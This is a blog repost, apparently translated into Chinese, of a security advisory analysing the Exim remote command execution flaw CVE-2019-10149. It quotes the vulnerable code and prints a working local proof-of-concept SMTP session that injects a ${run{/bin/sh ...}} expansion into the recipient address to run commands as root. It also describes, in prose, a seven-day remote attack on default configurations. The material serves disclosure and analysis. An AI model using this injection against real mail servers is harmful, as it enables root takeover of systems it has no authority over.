exim远程命令执行漏洞分析(cve-2019-10149)

限时加码!20+主流AI编程工具免费用 购周边加赠Coding Plan Lite,Claude Code、Cursor等即刻畅享,学习进阶更高效! 阅读详情

0x00 前言

在对Exim邮件服务器最新改动进行代码审计过程中,我们发现4.87到4.91版本之间的Exim存在一个远程命令执行(RCE)漏洞。这里RCE指的是远程命令执行(Remote Command Execution),而不是远程代码执行(Remote Code Execution):攻击者可以以root权限使用execv()来执行任意命令,利用过程中不涉及到内存破坏或者ROP(Return-Oriented Programming)相关内容。

这个漏洞可以由本地攻击者直接利用(远程攻击者需要在特定的非默认配置下利用)。为了在默认配置下远程利用该漏洞,攻击者需要与存在漏洞的服务器建连7天(可以每隔几分钟发送1个字节)。然而由于Exim的代码非常复杂,我们无法保证这里介绍的方法是唯一的利用方法,可能还存在其他更加快捷的方法。

从4.87版开始(2016年4月6日公布),由于#ifdef EXPERIMENTAL_EVENT改成了#ifndef DISABLE_EVENT,因此Exim默认情况下就存在漏洞。在之前的版本中,如果手动启用了EXPERIMENTAL_EVENT选项,那么服务器也会存在漏洞。令人惊讶的是,这个漏洞已经在4.92版中被修复(2019年2月10日):

https://github.com/Exim/exim/commit/7ea1237c783e380d7bdb86c90b13d8203c7ecf26
https://bugs.exim.org/show_bug.cgi?id=2310

然而Exim并没有把这个问题当成安全漏洞,因此大多数操作系统都会受到影响。比如,我们在最新的Debian发行版(9.9)中就成功利用了该漏洞。

 

0x01 本地利用

漏洞代码位于deliver_message()中:

6122 #ifndef DISABLE_EVENT
6123       if (process_recipients != RECIP_ACCEPT)
6124         {
6125         uschar * save_local =  deliver_localpart;
6126         const uschar * save_domain = deliver_domain;
6127
6128         deliver_localpart = expand_string(
6129                       string_sprintf("${local_part:%s}", new->address));
6130         deliver_domain =    expand_string(
6131                       string_sprintf("${domain:%s}", new->address));
6132
6133         (void) event_raise(event_action,
6134                       US"msg:fail:internal", new->message);
6135
6136         deliver_localpart = save_local;
6137         deliver_domain =    save_domain;
6138         }
6139 #endif

由于expand_string()可以识别${run{<command> <args>}}扩展项,且new->address是正在投递的邮件的收件方,因此本地攻击者可以向${run{...}}@localhost发送一封邮件(其中localhost是Exim的某个本地域),以root权限执行任意命令(默认情况下deliver_drop_privilege的值为false)。

操作过程如下所示:

john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory

john@debian:~$ nc 127.0.0.1 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31

.
250 OK id=1hTnYa-0000zp-8b
QUIT
221 debian closing connection

john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied

root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)

在这个例子中:

  • 我们向邮件服务器发送了多个Received:头(超过received_headers_max,这个值默认为30),从而执行存在漏洞的代码。
  • 我们使用反斜杠转义了收件方地址中的无效字符, 以便expand_string()后续处理(在expand_string_internal()以及transport_set_up_command()函数中会调用)。

 

0x02 远程利用

我们的本地利用方法并不适合于远程利用场景,这是因为Exim默认配置的verify = recipient ACL(访问控制列表)会要求收件人地址的本地部分(即@之前的部分)必须是本地用户的名称,如下所示:

john@debian:~$ nc 192.168.56.101 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400
HELO localhost
250 debian Hello localhost [192.168.56.101]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
550 Unrouteable address

非默认配置

我们最终设计了一种巧妙的方法,可以用来远程利用默认配置的Exim。我们首先确定了便于远程利用的各种非默认配置:

  • 如果管理员手动移除了verify = recipient ACL(可能是为了避免通过RCPT TO枚举用户名),那么我们的本地利用方法就能远程使用;
  • 如果管理员配置Exim可以识别收件方地址本地部分的标签(如通过local_part_suffix = +* : -*),那么远程攻击者可以简单复用我们的本地利用方法,其中RCPT TO设为balrog+${run{...}}@localhost即可(这里balrog是某个本地用户名);
  • 如果管理员配置Exim作为辅MX(Mail eXchange),将邮件转发至远程域,那么远程攻击者可以简单复用我们的本地里利用方法,其中RCPT TO设为${run{...}}@khazad.dum(这里khazad.dum是Exim的某个relay_to_domains)。实际上,verify = recipient ACL只能检查远程地址的域名部分(即@之后的部分),不能检查其中的本地部分。

默认配置

首先,我们通过一个“反弹(bounce)”消息来解决verify = recipient ACL问题:如果我们发送无法投递的一封邮件,Exim会自动向原始发件人发送(“反弹”)一个投递失败消息。换句话说,原始邮件发送方(即我们的MAIL FROM)现在变成反弹消息的收件方(对应该消息的RCPT TO),因此可以使用${run{...}}来执行命令。实际上,在默认配置的Exim中,verify = sender ACL只会检查我们原始发件人地址的域名部分,不去检查本地部分(因为这是一个远程地址)。

接下来,反弹消息会处理到存在漏洞的代码,通过process_recipients != RECIP_ACCEPT的条件判断,但这里我们不能复用received_headers_max技巧,因为我们无法复用我们的头部。我们对第二个问题的解决办法并不是最优解:如果反弹消息在7天后(这是默认的timeout_frozen_after值)仍无法投递,那么Exim就会将process_recipients设置为RECIP_FAIL_TIMEOUT,然后执行存在漏洞的代码。

最后,我们必须解决一个看上去非常棘手的问题:在2天后(默认的ignore_bounce_errors_after值),反弹消息如果没有被推迟投递,那么就会被丢弃。而在4天后,根据默认的重试规则(F,2h,15m; G,16h,1h,1.5; F,4d,6h),被延迟投递的地址会被归入失败地址中,因此会在7天时间期限(timeout_frozen_after)之前丢弃反弹消息。我们解决第三个问题以及通用的远程利用问题的方法如下所示(但可能存在更加简单且更快捷的解决方案):

1、我们连接到存在漏洞Exim服务器,发送无法被投递的一封邮件(因为我们发送了超过received_headers_maxReceived:头)。我们邮件的收件方地址(RCPT TO)设置为postmaster,其发送方地址(MAIL FROM)为${run{...}}@khazad.dum(这里khazad.dum为我们可控的一个域名)。

2、由于我们的邮件无法被投递,Exiam会连接到khazad.dumMX(我们会监听并接受这个连接),开始向${run{...}}@khazad.dum发送反弹消息。

3、每隔4分钟向Exim发送一个字节,保持该连接处于打开状态7天(默认的timeout_frozen_after)。该操作之所以能成功,是因为Exim会将其发送的SMTP(Simple Mail Transfer Protocol)命令所收到的响应数据写入一个4096字节缓冲区中(DELIVER_BUFFER_SIZE),请求命令超时时间设为5分钟(默认的command_timeout),每收到1个字节就会重置超时时间。

4、在7天后,我们最终发送完冗长的SMTP响应,返回永久投递失败(比如“550 Unrouteable address”),这样post_process_one()函数就会冻结这个反弹消息。该函数实际上应该抛弃这个反弹消息,而不是冻结消息(如果冻结消息,我们就无法访问存在漏洞的代码),因为该消息处理时间已超过2天(默认的ignore_bounce_errors_after):

1613   /* If this is a delivery error, or a message for which no replies are
1614   wanted, and the message's age is greater than ignore_bounce_errors_after,
1615   force the af_ignore_error flag. This will cause the address to be discarded
1616   later (with a log entry). */
1617
1618   if (!*sender_address && message_age >= ignore_bounce_errors_after)
1619     setflag(addr, af_ignore_error);

然而在这个特殊的场景下,message_age并不是反弹消息的实际处理时间(超过7天),而是该消息首次从Exim spool中加载的时间(只有几秒或者几分钟)。

5、最终,Exim默认运行的下次队列(在Debian上,默认情况下每隔30分钟)会从spool中加载被冻结的反弹消息,将process_recipients设置为RECIP_FAIL_TIMEOUT(这一次message_age为反弹消息的实际处理时间,已超过7天),然后执行存在漏洞的代码以及我们构造的命令(我们原始发送方地址${run{...}}@khazad.dum为反弹消息的收件地址,会被expand_string()解析)。

备注:如果想快速测试这个远程利用方法,Exim默认设置的timeout_frozen_after以及ignore_bounce_errors_after天数可以被替换成小时数,默认重试规则可以改为F,4h,6m

 

 

从Drupal后台到Root权限:手把手复现DC-8靶场的Exim 4.89提权漏洞 本文详细介绍了如何通过DC-8靶机复现Exim 4.89提权漏洞,从Drupal后台获取初始权限到最终获得root权限的全过程。文章包含环境准备、漏洞分析、利用步骤及防御建议,是渗透测试学习的实用指南。 阅读详情

相关推荐

从Drupal后台到Root权限:手把手复现DC-8靶场的Exim 4.89提权完整流程

本文详细解析了如何通过DC-8靶机复现从Drupal后台SQL注入到利用Exim 4.89漏洞获取Root权限的完整渗透测试流程。从信息收集、SQL注入利用、后台代码执行到最终的SUID提权,逐步演示了攻击链的每个环节,并深入分析Exim漏洞的技术原理和防御措施,为安全研究人员提供实战参考。

weixin_42651748的博客 344

预警 | 知名邮件代理程序 Exim 远程代码执行漏洞CVE-2019-10149

近日,腾讯云安全中心监测到知名邮件代理程序Exim 被曝存在远程代码执行漏洞漏洞编号:CVE-2019-10149),攻击者可利用该漏洞获取 Exim 服务器控制权。 为避免您的业务受影响,云鼎实验室建议使用到 Exim 组件的用户及时开展安全自查,如在受影响范围,请您及时进行更新修复,避免被外部攻击者入侵。同时建议云上租户免费开通「安全运营中心」-安全情报,及时获取最新漏洞情报、修...

qcloud_security的博客 883

DC-4靶机实战:从Web登录框到Root权限的两种提权路径深度复盘(teehee vs exim4)

本文深度解析DC-4靶机渗透测试实战,重点剖析通过teehee和exim4两种路径实现从Web登录到Root权限提升的技术细节。涵盖初始信息收集、命令注入漏洞利用、sudo配置提权(teehee)及SUID二进制提权(exim4)的全流程操作,并对比两种路径的技术特点与适用场景,为渗透测试学习者提供实战参考。

weixin_42706667的博客 291

发卡网shell漏洞_邮件传输代理Exim远程命令执行漏洞细节披露,影响全球近一半邮件服务器...

注意:是远程命令执行,不是远程代码执行Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。该软件主要运行于类UNIX系统。通常该软件会与Dovecot或Courier等软件搭配使用。而近日,黑鸟从一些渠道发现,Exim官网更新了最新4.92版本,并发布通告称,其Exim 4.87(包括) 到 4.91(包括)版...

weixin_32260275的博客 833

DC4靶机练习

我这里提前已经知道我的靶机IP地址为192.168.56.1/24,因为kali与靶机同网段,也可以直接使用arp-scan -l来寻早靶机IP,我这里直接使用nmap来查找。来看一下有啥有用的信息,查看下passwd看看有什么用户适合提权,这里可以看到charles、jim、sam有/bin/bash,那么就从这3个用户开始入手。这个我们来尝试弱口令爆破,有的人喜欢用户名和密码一起爆破,遇到这种管理后台,我比较喜欢将用户名设为admin,只去爆破密码(个人习惯)。将密码复制下来 ,进行爆破。

m0_73826804的博客 537

Exim简介

 作者:薛忠胜 2005-02-01 11:25:04 来自:linuxforum.net Exim是基于GPL协议的开放源代码软件,由英国剑桥大学的PhilipHazel开发,目前最新版4.24。Exim是一个MTA(Message TransferAgent),即消息传输代理,负责邮件的路由、转发和投递。Exi

billhu专栏 3262

exim邮件系统

exim邮件系统 环境 系统:centos7.9 软件:exim、mailx Version: exim-4.94.2、mailx-12.5 安装:yum install exim mailx -y(需安装epel-release) 配置文件 /etc/exim4/exim4.conf #配置文件 /etc/hosts /var/log/exim/main.log #日志文件 设置exim为默认MTA alternatives --set

一个废人的博客 2059

命令调出本地链接_CVE-2019-10149Exim远程命令执行漏洞预警分析

0x00 漏洞详情日前,安全研究人员发现Exim邮件服务器存在一个远程命令执行漏洞漏洞编号为CVE-2019-10149。该漏洞在默认配置下可被本地攻击者直接利用,通过低权限用户执行root权限命令,远程攻击者需要修改默认配置。为了在默认配置下远程利用该漏洞远程攻击者需要与存在漏洞的服务器建立7天的连接(每隔几分钟发送1个字节)。360CERT 判断此次漏洞影响面广,可造成本地提权并存在远程命...

weixin_34611277的博客 360

下列哪个选项不属于命令执行漏洞的危害_CVE-2019-10149Exim远程命令执行漏洞预警分析...

0x00 漏洞详情日前,安全研究人员发现Exim邮件服务器存在一个远程命令执行漏洞漏洞编号为CVE-2019-10149。该漏洞在默认配置下可被本地攻击者直接利用,通过低权限用户执行root权限命令,远程攻击者需要修改默认配置。为了在默认配置下远程利用该漏洞远程攻击者需要与存在漏洞的服务器建立7天的连接(每隔几分钟发送1个字节)。360CERT 判断此次漏洞影响面广,可造成本地提权并存在远程命...

weixin_39861905的博客 409

你需要以 root 身份执行此命令。_Exim中TLS的致命漏洞可让攻击者以Root身份远程执行命令

Exim邮件传输代理(MTA)软件的4.80到4.92.1版本存在严重漏洞,可让未经身份验证的攻击者在开启TLS连接的Exim服务器上以root权限远程执行命令。该漏洞被标记为CVE-2019-15846,最初由Zerons于7月21日上报,Qualys的安全研究团队对此进行了分析——在最初的TLS握手过程中,发送一个以反斜杠-空序列结尾的SNI(Server Name Indication,指定...

weixin_39968946的博客 404

从Drupal后台到Root权限:手把手复现DC-8靶机提权(Exim 4.89漏洞利用)

本文详细解析了DC-8靶机渗透测试中的技术链,从Drupal 7的SQL注入漏洞获取后台权限,到利用Exim 4.89的SUID提权漏洞获取root权限。文章通过实战案例展示了渗透测试中技术串联的思考过程,并提供了防御建议,帮助安全研究人员提升渗透测试技能。

weixin_33747129的博客 259

Exim中TLS的致命漏洞可让攻击者以Root身份远程执行命令

Exim邮件传输代理(MTA)软件的4.80到4.92.1版本存在严重漏洞,可让未经身份验证的攻击者在开启TLS连接的Exim服务器上以root权限远程执行命令。 该漏洞被标记为CVE-2019-15846,最初由Zerons于7月21日上报,Qualys的安全研究团队对此进行了分析——在最初的TLS握手过程中,发送一个以反斜杠-空序列结尾的SNI(Server Name Indication,...

NOSEC2019的博客 602

DC-8靶机渗透实战:从SQL注入到exim4提权的完整攻防解析

SQL注入作为最常见的Web安全漏洞之一,其原理在于攻击者通过构造恶意输入,篡改后端数据库查询语句的逻辑,从而绕过身份验证、窃取敏感数据甚至执行系统命令。这种漏洞的技术价值在于它直接暴露了数据层与应用层之间的信任边界问题,是检验系统输入验证与输出编码机制有效性的关键标尺。在渗透测试与攻防演练中,SQL注入常作为突破Web应用防线的首要切入点,结合文件上传漏洞获取初始立足点后,进一步通过本地提权技术实现权限升级。本文以DC-8靶机为具体应用场景,详细演示了如何利用SQL注入获取凭据,并通过exim4服务的配置

weixin_34323858的博客 377

从SQL注入到本地提权:DC-8靶场渗透实战全解析

SQL注入是一种常见的Web安全漏洞,攻击者通过构造恶意输入,能够操纵后端数据库查询逻辑,从而窃取或篡改数据。其原理在于应用程序未对用户输入进行充分过滤,直接将输入拼接到SQL语句中执行。理解SQL注入的原理对于构建安全的Web应用至关重要,它直接关系到数据层的防护。在渗透测试中,利用SQL注入获取管理员凭证是常见的攻击路径,这凸显了数据库安全的重要性。本地提权则是另一个关键的安全领域,当攻击者获得系统低权限访问后,会利用系统服务或配置缺陷(如sudo权限配置不当、软件版本漏洞)来提升至最高权限。Exim

weixin_34161029的博客 437

从零到Root:DC-8靶机渗透测试中的工具链深度解析

本文深度解析了DC-8靶机渗透测试中的工具链应用,涵盖nmap、sqlmap和john等关键工具的使用技巧。通过实战案例展示了从信息收集到权限提升的全流程,特别探讨了exim4提权漏洞的数学本质及防御策略,为网络安全研究者提供专业指导。

weixin_29306875的博客 421

19、电子邮件服务安全探索:SMTP、POP3、IMAP及相关软件漏洞分析

本文深入探讨了电子邮件服务的安全性,重点分析了SMTP、POP3和IMAP等协议的工作原理及安全风险,同时详细介绍了常见邮件软件如Exim、Sendmail、Cyrus和PHP Mail的历史漏洞。文章还涵盖了SSL/TLS加密传输、暴力破解攻击的注意事项以及邮件协议的对比,并提供了安全测试的基本流程。通过这些内容,帮助读者全面了解和应对电子邮件系统面临的安全威胁。

xxx12的博客 231

电子邮件系统安全攻防实战:从80端口漏洞到Kali Linux渗透测试

电子邮件作为互联网核心服务,其安全架构基于SMTP、POP3、IMAP等基础协议,这些早期设计的协议在认证与传输层面存在固有缺陷,为攻击者提供了可利用的攻击面。从协议原理层面看,邮件传输代理(MTA)、邮件投递代理(MDA)和邮件用户代理(MUA)的协同工作中,隐藏着诸如开放中继、认证绕过等风险,其技术价值在于理解这些基础组件的脆弱性是构建有效防御的起点。在应用场景上,无论是企业自建邮件服务器还是云邮件服务,针对Webmail(常运行于80端口)的SQL注入、XSS、文件上传等漏洞利用已成为常见攻击向量,而

weixin_34389926的博客 305

SMTP协议漏洞挖掘实战:从开放中继到用户枚举的攻防解析

SMTP(简单邮件传输协议)作为互联网基础邮件传输标准,其设计初衷侧重于可靠性而非安全性,这为各类安全漏洞埋下了伏笔。协议本身缺乏强认证机制,交互流程中的命令(如HELO、MAIL FROM、RCPT TO)和响应处理成为主要攻击面。理解SMTP工作原理对保障邮件系统安全至关重要,其技术价值体现在识别配置缺陷、防止信息泄露和阻断攻击链上。在实际应用场景中,邮件服务器常因默认配置不当或管理疏忽,暴露开放中继、用户枚举等高危风险。本文聚焦SMTP服务漏洞挖掘,深入剖析开放中继漏洞的检测与利用方法,并详解用户枚举

weixin_33695082的博客 405

cPanel供应链攻击剖析:从漏洞原理到纵深防御实战

软件供应链安全是当前网络安全领域的核心议题,其本质在于攻击者通过污染受信任的软件分发渠道或组件,实现对下游用户的规模化攻击。这种攻击模式利用了系统管理员对官方来源的固有信任,往往能绕过传统的边界防护。从技术原理上看,供应链攻击通常涉及软件更新机制劫持、构建环境入侵或依赖库漏洞利用,其技术价值在于攻击效率高、隐蔽性强、影响范围广。在应用场景上,广泛使用的服务器控制面板、开源库、开发工具链都是潜在的高风险目标。以近期针对cPanel的供应链攻击事件为例,攻击者通过利用cPanel漏洞植入勒索软件,影响了大量托管

weixin_33692284的博客 505
上一篇: python 安装使用saltstack salt-api 简介
下一篇: nginx php-fpm 运行原理
whatday
博客等级 码龄20年 3812粉丝 96原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值